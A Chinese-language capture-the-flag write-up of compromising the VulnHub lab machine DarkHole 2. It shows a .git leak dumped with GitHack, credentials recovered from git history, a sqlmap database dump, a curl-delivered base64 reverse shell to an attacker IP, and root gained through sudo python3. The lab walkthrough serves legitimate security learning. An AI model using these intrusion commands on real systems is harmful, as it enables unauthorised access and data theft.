background:

自己独立完成的第一个hard级别的靶机 难度其实都不大 跟三年前的一样 只不过是自己拥有了独立思考到解题的一个过程 更多的也是一直经验

https://www.vulnhub.com/entry/darkhole-2,740/

image-20250222162743220

口子

做个目录扫描发现了.git文件泄露 并且还有目录浏览

http://192.168.0.130/.git/

image-20250222163033479

那就直接上githack

python2  GitHack.py http://192.168.0.130/.git/

login.php.php里没有有用的信息 dashboard.php里是goto加密了

image-20250222163221892

https://enphp.djunny.com/ 在线解goto加密

解开感觉就出货了 很明显的一个注入 moblie直接拼接了

image-20250222163330342

直接构造数据包却发现不行 源码里面也没有输出Not Allowed的逻辑啊 那就只能证明我们拿到的源码不是当下的业务代码

image-20250222163421143

查看一下git修改记录

git log

image-20250222163548501

查看修改的内容 最终发现上一个版本的代码中直接写了账号密码

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

image-20250222163635361

使用lush@admin.com/321 成功登录系统

image-20250222164613905

由于上面goto解开发现注入 我就一直在编辑资料这里对着mobile参数测注入 但貌似没啥效果 在这里卡了好一会

最后确定没戏 看到地址栏的dashboard.php?id=1然后用burp跑了下1-20000的id 没啥东西 然后就测一下这里的注入 成功拿到了ssh密码

python sqlmap.py -r .\1.txt -D darkhole_2 --dump --batch

image-20250222165056557

横向

使用jehad/fool成功登录 无suid和sudo可用 查找进程

发现losy用户在本地9999端口跑了个php程序

ps -aux

image-20250222165309492

进一步查看 就是白给的rce 隧道都不需要搭 直接curl利用即可

image-20250222165429769

反弹shell base64编码 url编码

curl 127.0.0.1:9999?cmd=echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjEyOS8xMjM0IDA%2BJjE%3D%7Cbase64%20-d%7Cbash%20-i

成功获得losy用户权限

image-20250222165651820

提权

查看losy 用户目录下的.bash_history文件 发现了losy的密码为gang 同时看到了sudo python的操作

image-20250222165753408

查看能直接sudo的程序 得在交互式的shell里输密码才行

python3 -c 'import pty; pty.spawn("/bin/bash")'  

image-20250222170137459

直接python3获取root权限

sudo python3 -c 'import os; os.system("/bin/sh")'

image-20250222170300410